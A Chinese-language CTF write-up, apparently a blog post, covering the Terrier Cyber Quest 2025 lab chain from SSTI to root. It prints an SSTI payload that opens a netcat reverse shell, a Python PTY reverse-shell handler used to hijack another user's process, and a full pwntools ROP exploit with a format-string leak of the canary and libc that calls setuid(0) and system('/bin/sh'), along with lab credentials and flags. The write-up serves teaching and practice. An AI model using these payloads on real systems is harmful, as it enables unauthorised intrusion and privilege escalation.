Terrier网络探索2025 CTF实战解析:从SSTI到二进制漏洞利用

本文详细记录了Terrier Cyber Quest 2025 CTF比赛的完整解题过程,涵盖网络侦察、SSTI漏洞利用、权限提升和二进制漏洞利用等关键技术,展示了从初始访问到最终获取root权限的全链条渗透测试技术。

Terrier Cyber Quest 2025 — 简要记录

初始访问

运行nmap扫描 — sudo nmap -sC 192.168.57.24 -A -v -p-

nmap扫描结果

我们在5000端口发现了一个web服务器 —

nmap扫描服务信息

使用ffuf进行目录和端点模糊测试。 ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -u http://192.168.57.24:5000/FUZZ -fs 3806

使用ffuf发现的页面

访问该页面并测试SSTI,确认存在漏洞。

输入通用payload测试SSTI

确认SSTI存在

输入以下payload并获得初始立足点: {{''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['sys'].modules['os'].popen('nc -e /bin/bash IP PORT').read()}}

获得第一个flag — FLAG -> S3Cur1ty_Br3@k_P@55ed

获得服务器shell访问权限

在/目录下发现可疑目录 —

发现包含下一个挑战提示的笔记

根据提示,调查pcapng文件并复制所有ICMP数据 —

使用wireshark调查pcapng文件

进行十六进制解码,我们获得以下编码文本 — 22gSOqdlldjDbbIxZ4NPAeodlIvKmMGjj3ZTw9D5fXc1ffsERpc7CznmEVd1BhfbqbQaIJ5s4

最后使用CyberChef,我们将其解码为 Pass:H1dden_W0rlD_UnD3r_Bit —

使用CyberChef解码发现的字符串

我们还发现了一个Container.png文件并导出 —

使用wireshark从捕获文件导出PNG文件

之后我们使用工具OpenStego并获得flower的凭据 — F!ow3r#92@tY8&Vk —

使用OpenStego应用程序从PNG图像提取隐藏数据

另外,我们观察到除了root之外还有更多用户 —

cat /etc/passwd

权限提升 — 第一阶段

我们使用ssh获得flower的shell —

用户"flower"的ssh会话

在侦察期间,我们发现一个名为handler的目录,可以清楚地看到不同用户具有不同的权限。

列出可疑目录内容

当我检查运行进程时,我看到daemon.py正在以leaf用户身份运行,该文件位于/handler目录中 —

以"leaf"用户身份运行的python脚本

进一步调查daemon.py,我发现它将handler.py从/handler复制到/tmp/目录作为leaf用户,然后以leaf用户身份执行。我还注意到我对/handler/handler.py文件具有rw权限,因此我修改了它。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#!/usr/bin/env python3
import socket, os, pty, sys, time, traceback

HOST = "127.0.0.1"
PORT = 6969
CONNECT_TIMEOUT = 6.0

def main():
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(CONNECT_TIMEOUT)
        s.connect((HOST, PORT))
        s.settimeout(None)
        try:
            s.sendall(b"handler: connected - spawning PTY shell\n")
        except Exception:
            pass
    except Exception as e:
        time.sleep(0.2)
        return

    fd = s.fileno()
    os.dup2(fd, 0)
    os.dup2(fd, 1)
    os.dup2(fd, 2)
    try:
        pty.spawn("/bin/sh")
    except Exception:
        try:
            os.execv("/bin/sh", ["/bin/sh", "-i"])
        except Exception:
            try:
                s.close()
            except Exception:
                pass

if __name__ == "__main__":
    try:
        main()
    except Exception:
        traceback.print_exc()
        time.sleep(0.2)

我们可以通过执行nc -nvlp 8080来触发daemon.py将handler.py复制到/tmp/handler_exec.py作为leaf用户,这样它会尝试建立连接 —

使用netcat连接到本地主机8080端口

我们成功攻陷了leaf用户 —

获得"leaf"用户的shell

获得第三个flag FLAG -> Y0u_kn0w_i5_th15_RaC3 —

显示F14@_thr33.txt文件内容

权限提升 — 第二阶段

从侦察中我们还发现/bin/包含一个以stem身份运行的二进制文件,并且leaf用户被允许执行它。

列出名为"challenge"的设置了suid位的二进制文件

我们获取这个challenge文件并进行调查。很可能是一个pwn挑战。

“challenge"程序的基本信息和执行

我们使用反编译器,它看起来像一个ret2win挑战 —

来自Binary Ninja反编译器的win()函数伪C代码

我们看到我们需要输入的用户名是john —

来自Binary Ninja反编译器的伪C代码

然后我们有一个password_check()函数,它确保关于字符串的一些约束,并且存在多个满足条件的字符串作为密码,你可以使用GPT来找到这些字符串 —

来自Binary Ninja反编译器的伪C代码

另外,我们注意到Partial RELRO只是将GOT移动到程序变量之上,意味着你不能溢出到GOT中,但它是可写的,并且不是位置无关可执行文件。

./challenge二进制的保护措施

我们还注意到使用Index和Name我们可以任意覆盖内存(不完全是),但在我们的情况下,我们可以用win()函数覆盖GOT表条目。

来自Binary Ninja反编译器的伪C代码

在这里,我们能够用win()函数覆盖exit@got[plt]条目,从而以stem身份弹出shell。

带有利用脚本的GDB窗口

我们获得了stem用户 —

执行利用

因此第四个flag FLAG -> PwN_2_0wN_N0w_Y0u_ar3_5t3M—

列出文件并打印F14@_f0ur.txt文件内容

权限提升 — 第三阶段

进行侦察时,我们发现了另一个名为final的二进制文件 —

名为"final"的设置了suid位的二进制文件

检查该二进制文件后,我们发现了一个格式字符串漏洞,可以用来泄漏libc、二进制文件和栈canary的内存地址 —

来自Binary Ninja反编译器的主要伪C代码

通过调试和试错,我们发现在以下位置我们可以获得__libc_start_call_main()、栈canary和main()的地址 —

在./final二进制文件中发现的内存泄漏

以下函数存在栈缓冲区溢出漏洞 —

来自Binary Ninja反编译器的sub_401223()伪C代码

尽管这个./final挑战开启了所有保护措施,但这并不重要,因为我们能够泄漏栈,然后执行返回导向编程来调用libc函数 —

给定”./final"二进制文件的内存保护

以下是我攻陷./final挑战的利用代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from pwn import *

p = process("/bin/final")
p.sendline(b"%43$p-%61$p-%64$p")
leak = p.clean().split(b'Your Name:\n')[1].split(b'\n\n')[0].split(b'-')
canary = int(leak[1].decode(), 16)
main_addr = int(leak[2].decode(), 16)
libc_start_call_main = int(leak[0].decode(), 16) - 120 #__libc_start_call_main
libc_start_main = libc_start_call_main + 0xae # __libc_start_main
libc_base_addr = libc_start_main - 0x2a200 # 0x2a200 = libc_start_main - offset of __libc_start_main
binsh = libc_base_addr + 0x1cb42f # 0x1cb42f = offset in libc.so.6 for "/bin/sh" string
libc_system = libc_base_addr + 0x58750 # 0x58750 = offset in libc.so.6 for "system()" call
libc_pop_rdi_ret = libc_base_addr + 0x10f75b # pop rdi; ret gadget in libc.so.6
libc_ret = libc_base_addr + 0x10f75c # ret; gadget in libc.so.6
libc_setuid = libc_base_addr + 0x10ea90 # setuid() call in libc.so.6

real_canary = p64(canary)
real_main_addr = p64(main_addr)
real_libc_system = p64(libc_system)
real_binsh = p64(binsh)
real_libc_pop_rdi_ret = p64(libc_pop_rdi_ret)
real_libc_ret = p64(libc_ret)
real_libc_setuid = p64(libc_setuid)

print("[+] Obtained Canary :: {}".format(leak[1]))
print("[+] main() Address :: {}".format(leak[2]))
print("[+] __libc_start_main() Address :: {}".format(hex(libc_start_main)))
print("[+] libc_base_addr Address :: {}".format(hex(libc_base_addr)))

#p.close()
#exit()

payload = b""
payload += b"A" * 0x48 # buffer
payload += real_canary # canary
payload += b"B" * 0x8 # saved_rbp
payload += real_libc_pop_rdi_ret # pop rdi; ret
payload += p64(0)
payload += real_libc_ret # ret;
payload += real_libc_setuid # setuid(0)
payload += real_libc_pop_rdi_ret # pop rdi; ret
payload += real_binsh # "/bin/sh"
payload += real_libc_ret # ret;
payload += real_libc_system # system()
payload += b"\x90" * 0x8

p.send(payload)
print(p.clean())
p.interactive()

一旦你运行python3 final_pwn.py脚本,我们就获得了最终的flag — D4Y_0_T0_zeR0_d4Y

通过利用suid二进制文件"./final"获得"root"用户shell

后记

😸 感谢阅读这篇简要记录。如果我有心情,我想为最后一个关于二进制利用的挑战发布更长的记录。如果你有任何问题,请告诉我。祝黑客愉快💖

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计